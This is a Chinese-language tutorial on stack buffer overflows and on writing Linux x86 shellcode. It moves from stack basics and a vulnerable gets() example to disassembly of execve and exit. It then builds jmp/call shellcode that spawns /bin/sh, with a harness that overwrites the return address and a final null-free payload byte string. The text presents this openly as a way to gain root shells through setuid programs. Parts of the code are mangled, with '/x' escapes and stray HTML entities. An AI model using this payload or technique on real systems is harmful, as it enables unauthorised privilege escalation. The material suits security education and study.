堆棧溢出技術(shù)從入門到高深:如何書寫shell code
雖然溢出在程序開發(fā)過程中不可完全避免,但溢出對系統(tǒng)的威脅是巨大的,由于系統(tǒng)的特殊性,溢出發(fā)生時攻擊者可以利用其漏洞來獲取系統(tǒng)的高級權(quán)限r(nóng)oot,因此本文將詳細介紹堆棧溢出技術(shù)……
在您開始了解堆棧溢出前,首先你應(yīng)該了解win32匯編語言,熟悉寄存器的組成和功能。你必須有堆棧和存儲分配方面的基礎(chǔ)知識,有關(guān)這方面的計算機書籍很多,我將只是簡單闡述原理,著重在應(yīng)用。其次,你應(yīng)該了解linux,本講中我們的例子將在linux上開發(fā)。
【相關(guān)推薦】:
堆棧溢出技術(shù)從入門到高深:利用堆棧溢出獲得shell
堆棧溢出技術(shù)從入門到高深:windows系統(tǒng)下堆棧溢出
1、首先復(fù)習(xí)一下基礎(chǔ)知識。
從物理上講,堆棧是就是一段連續(xù)分配的內(nèi)存空間。在一個程序中,會聲明各種變量。靜態(tài)全局變量是位于數(shù)據(jù)段并且在程序開始運行的時候被加載。而程序的動態(tài)的局部變量則分配在堆棧里面。
從操作上來講,堆棧是一個先入后出的隊列。他的生長方向與內(nèi)存的生長方向正好相反。我們規(guī)定內(nèi)存的生長方向為向上,則棧的生長方向為向下。壓棧的操作push=ESP-4,出棧的操作是pop=ESP+4.換句話說,堆棧中老的值,其內(nèi)存地址,反而比新的值要大。請牢牢記住這一點,因為這是堆棧溢出的基本理論依據(jù)。
在一次函數(shù)調(diào)用中,堆棧中將被依次壓入:參數(shù),返回地址,EBP。如果函數(shù)有局部變量,接下來,就在堆棧中開辟相應(yīng)的空間以構(gòu)造變量。函數(shù)執(zhí)行結(jié)束,這些局部變量的內(nèi)容將被丟失。但是不被清除。在函數(shù)返回的時候,彈出EBP,恢復(fù)堆棧到函數(shù)調(diào)用的地址,彈出返回地址到EIP以繼續(xù)執(zhí)行程序。
在C語言程序中,參數(shù)的壓棧順序是反向的。比如func(a,b,c)。在參數(shù)入棧的時候,是:先壓c,再壓b,最后a。在取參數(shù)的時候,由于棧的先入后出,先取棧頂?shù)腶,再取b,最后取c。這些是匯編語言的基礎(chǔ)知識,用戶在開始前必須要了解這些知識。
2、現(xiàn)在我們來看一看什么是堆棧溢出。
運行時的堆棧分配
堆棧溢出就是不顧堆棧中數(shù)據(jù)塊大小,向該數(shù)據(jù)塊寫入了過多的數(shù)據(jù),導(dǎo)致數(shù)據(jù)越界,結(jié)果覆蓋了老的堆棧數(shù)據(jù)。
例如程序一:
#include
int main ( )
{
char name[8];
printf("Please type your name: ");
gets(name);
printf("Hello, %s!", name);
return 0;
}
編譯并且執(zhí)行,我們輸入ipxodi,就會輸出Hello,ipxodi!。程序運行中,堆棧是怎么操作的呢?
在main函數(shù)開始運行的時候,堆棧里面將被依次放入返回地址,EBP。
我們用gcc -S 來獲得匯編語言輸出,可以看到main函數(shù)的開頭部分對應(yīng)如下語句:
pushl %ebp
movl %esp,%ebp
subl $8,%esp
首先他把EBP保存下來,,然后EBP等于現(xiàn)在的ESP,這樣EBP就可以用來訪問本函數(shù)的局部變量。之后ESP減8,就是堆棧向上增長8個字節(jié),用來存放name[]數(shù)組。最后,main返回,彈出ret里的地址,賦值給EIP,CPU繼續(xù)執(zhí)行EIP所指向的指令。
堆棧溢出
現(xiàn)在我們再執(zhí)行一次,輸入ipxodiAAAAAAAAAAAAAAA,執(zhí)行完gets(name)之后,由于我們輸入的name字符串太長,name數(shù)組容納不下,只好向內(nèi)存頂部繼續(xù)寫‘A’。由于堆棧的生長方向與內(nèi)存的生長方向相反,這些‘A’覆蓋了堆棧的老的元素。 我們可以發(fā)現(xiàn),EBP,ret都已經(jīng)被‘A’覆蓋了。在main返回的時候,就會把‘AAAA’的ASCII碼:0x41414141作為返回地址,CPU會試圖執(zhí)行0x41414141處的指令,結(jié)果出現(xiàn)錯誤。這就是一次堆棧溢出。
3、如何利用堆棧溢出
我們已經(jīng)制造了一次堆棧溢出。其原理可以概括為:由于字符串處理函數(shù)(gets,strcpy等等)沒有對數(shù)組越界加以監(jiān)視和限制,我們利用字符數(shù)組寫越界,覆蓋堆棧中的老元素的值,就可以修改返回地址。
在上面的例子中,這導(dǎo)致CPU去訪問一個不存在的指令,結(jié)果出錯。事實上,當堆棧溢出的時候,我們已經(jīng)完全的控制了這個程序下一步的動作。如果我們用一個實際存在指令地址來覆蓋這個返回地址,CPU就會轉(zhuǎn)而執(zhí)行我們的指令。
在UINX/linux系統(tǒng)中,我們的指令可以執(zhí)行一個shell,這個shell將獲得和被我們堆棧溢出的程序相同的權(quán)限。如果這個程序是setuid的,那么我們就可以獲得root shell。下一講將敘述如何書寫一個shell code。
如何書寫一個shell code
一:shellcode基本算法分析
在程序中,執(zhí)行一個shell的程序是這樣寫的:
shellcode.c
------------------------------------------------------------------------
#include
void main() {
char *name[2];
name[0] = "/bin/sh"
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------
execve函數(shù)將執(zhí)行一個程序。他需要程序的名字地址作為第一個參數(shù)。一個內(nèi)容為該程序的argv[i](argv[n-1]=0)的指針數(shù)組作為第二個參數(shù),以及(char*) 0作為第三個參數(shù)。
我們來看以看execve的匯編代碼:
[nkl10]$Content$nbsp;gcc -o shellcode -static shellcode.c
[nkl10]$Content$nbsp;gdb shellcode
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp ;
0x80002bd <__execve+1>: movl %esp,%ebp;上面是函數(shù)頭。
0x80002bf <__execve+3>: pushl %ebx;保存ebx
0x80002c0 <__execve+4>: movl $0xb,%eax;eax=0xb,eax指明第幾號系統(tǒng)調(diào)用。
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx;ebp+8是第一個參數(shù)"/bin/sh\0"
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx;ebp+12是第二個參數(shù)name數(shù)組的地址
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx;ebp+16是第三個參數(shù)空指針的地址。;name[2-1]內(nèi)容為NULL,用來存放返回值。
0x80002ce <__execve+18>: int $0x80;執(zhí)行0xb號系統(tǒng)調(diào)用(execve)
0x80002d0 <__execve+20>: movl %eax,%edx;下面是返回值的處理就沒有用了。
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34
<__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
經(jīng)過以上的分析,可以得到如下的精簡指令算法:
movl $execve的系統(tǒng)調(diào)用號,%eax
movl "bin/sh\0"的地址,%ebx
movl name數(shù)組的地址,%ecx
movl name[n-1]的地址,%edx
int $0x80 ;執(zhí)行系統(tǒng)調(diào)用(execve)
當execve執(zhí)行成功后,程序shellcode就會退出,/bin/sh將作為子進程繼續(xù)執(zhí)行。可是,如果我們的execve執(zhí)行失敗,(比如沒有/bin/sh這個文件),CPU就會繼續(xù)執(zhí)行后續(xù)的指令,結(jié)果不知道跑到哪里去了。所以必須再執(zhí)行一個exit()系統(tǒng)調(diào)用,結(jié)束shellcode.c的執(zhí)行。
我們來看以看exit(0)的匯編代碼:
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax ;1號系統(tǒng)調(diào)用
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx為參數(shù)0
0x8000358 <_exit+12>: int $0x80 ;引發(fā)系統(tǒng)調(diào)用
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
看來exit(0)〕的匯編代碼更加簡單:
movl $0x1,%eax ;1號系統(tǒng)調(diào)用
movl 0,%ebx ;ebx為exit的參數(shù)0
int $0x80 ;引發(fā)系統(tǒng)調(diào)用
那么總結(jié)一下,合成的匯編代碼為:
movl $execve的系統(tǒng)調(diào)用號,%eax
movl "bin/sh\0"的地址,%ebx
movl name數(shù)組的地址,%ecx
movl name[n-1]的地址,%edx
int $0x80 ;執(zhí)行系統(tǒng)調(diào)用(execve)
movl $0x1,%eax ;1號系統(tǒng)調(diào)用
movl 0,%ebx ;ebx為exit的參數(shù)0
int $0x80 ;執(zhí)行系統(tǒng)調(diào)用(exit)
二:實現(xiàn)一個shellcode
好,我們來實現(xiàn)這個算法。首先我們必須有一個字符串“/bin/sh”,還得有一個name數(shù)組。我們可以構(gòu)造它們出來,可是,在shellcode中如何知道它們的地址呢?每一次程序都是動態(tài)加載,字符串和name數(shù)組的地址都不是固定的。通過JMP和call的結(jié)合,黑客們巧妙的解決了這個問題。
------------------------------------------------------------------------
jmp call的偏移地址 # 2 bytes popl %esi # 1 byte //popl出來的是string的地址。
movl %esi,array-offset(%esi) # 3 bytes //在string+8處構(gòu)造 name數(shù)組,//name[0]放 string的地址
movb $0x0,nullbyteoffset(%esi)# 4 bytes //string+7處放0作為string的結(jié)尾。
movl $0x0,null-offset(%esi) # 7 bytes //name[1]放0。
movl $0xb,%eax # 5 bytes //eax=0xb是execve的syscall代碼。
movl %esi,%ebx # 2 bytes //ebx=string的地址
leal array-offset,(%esi),%ecx # 3 bytes //ecx=name數(shù)組的開始地址
leal null-offset(%esi),%edx # 3 bytes //edx=name〔1]的地址
int $0x80 # 2 bytes //int 0x80是sys call
movl $0x1, %eax # 5 bytes //eax=0x1是exit的syscall代碼
movl $0x0, %ebx # 5 bytes //ebx=0是exit的返回值
int $0x80 # 2 bytes //int 0x80是sys call
call popl 的偏移地址 # 5 bytes //這里放call,string 的地址就會作為返回地址壓棧。
/bin/sh 字符串
------------------------------------------------------------------------
首先使用JMP相對地址來跳轉(zhuǎn)到call,執(zhí)行完call指令,字符串/bin/sh的地址將作為call的返回地址壓入堆棧。現(xiàn)在來到popl esi,把剛剛壓入棧中的字符串地址取出來,就獲得了字符串的真實地址。然后,在字符串的第8個字節(jié)賦0,作為串的結(jié)尾。后面8個字節(jié),構(gòu)造name數(shù)組(兩個整數(shù),八個字節(jié))。
我們可以寫shellcode了。先寫出匯編源程序。
shellcodeasm.c
------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string /"/bin/sh/" # 8 bytes
");
}
編譯后,用gdb的b/bx 〔地址〕命令可以得到十六進制的表示。
下面,寫出測試程序如下:(注意,這個test程序是測試shellcode的基本程序)
test.c
char shellcode[] ="/xeb/x2a/x5e/x89/x76/x08/xc6/x46/x07/x00/xc7/x46/x0c/x00/x00/x00"
"/x00/xb8/x0b/x00/x00/x00/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80"
"/xb8/x01/x00/x00/x00/xbb/x00/x00/x00/x00/xcd/x80/xe8/xd1/xff/xff"
"/xff/x2f/x62/x69/x6e/x2f/x73/x68/x00/x89/xec/x5d/xc3"
void main() {
int *ret;
ret = (int *)&ret + 2; //ret 等于main()的返回地址 //(+2是因為:有pushl ebp ,否則加1就可以了。)
(*ret) = (int)shellcode; //修改main()的返回地址為shellcode的開始地址。
}
[nkl10]$Content$nbsp;gcc -o test test.c
[nkl10]$Content$nbsp;./test
$Content$nbsp;exit
[nkl10]$Content$nbsp;
我們通過一個shellcode數(shù)組來存放shellcode,當我們把程序(test.c)的返回地址ret設(shè)置成shellcode數(shù)組的開始地址時,程序在返回的時候就會去執(zhí)行我們的hellcode,從而我們得到了一個shell。運行結(jié)果,得到了bsh的提示符$,表明成功的開了一個shell。這里有必要解釋的是,我們把shellcode作為一個全局變量開在了數(shù)據(jù)段而不是作為一段代碼。是因為在操作系統(tǒng)中,程序代碼段的內(nèi)容是具有只讀屬性的。不能修改。而我們的代碼中movl %esi,0x8(%esi)等語句都修改了代碼的一部分,所以不能放在代碼段。這個shellcode可以了嗎?很遺憾,還差了一點。大家回想一下,在堆棧溢出中,關(guān)鍵在于字符串數(shù)組的寫越界。但是,gets,strcpy等字符串函數(shù)在處理字符串的時候,以"/0"為字符串結(jié)尾。遇/0就結(jié)束了寫操作。而我們的shellcode串中有大量的/0字符。因此,對于gets(name)來說,上面的shellcode是不可行的。我們的shellcode是不能有/0字符出現(xiàn)的。
因此,有些指令需要修改一下:
舊的指令 新的指令
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------
最后的shellcode為:
------------------------------------------------------------------------
char shellcode[]=
00 "/xeb/x1f" /* jmp 0x1f */
02 "/x5e" /* popl %esi */
03 "/x89/x76/x08" /* movl %esi,0x8(%esi) */
06 "/x31/xc0" /* xorl %eax,%eax */
08 "/x88/x46/x07" /* movb %eax,0x7(%esi) */
0b "/x89/x46/x0c" /* movl %eax,0xc(%esi) */
0e "/xb0/x0b" /* movb $0xb,%al */
10 "/x89/xf3" /* movl %esi,%ebx */
12 "/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
15 "/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
18 "/xcd/x80" /* int $0x80 */
1a "/x31/xdb" /* xorl %ebx,%ebx */
1c "/x89/xd8" /* movl %ebx,%eax */
1e "/x40" /* inc %eax */
1f "/xcd/x80" /* int $0x80 */
21 "/xe8/xdc/xff/xff/xff" /* call -0x24 */
26 "/bin/sh" /* .string /"/bin/sh/" */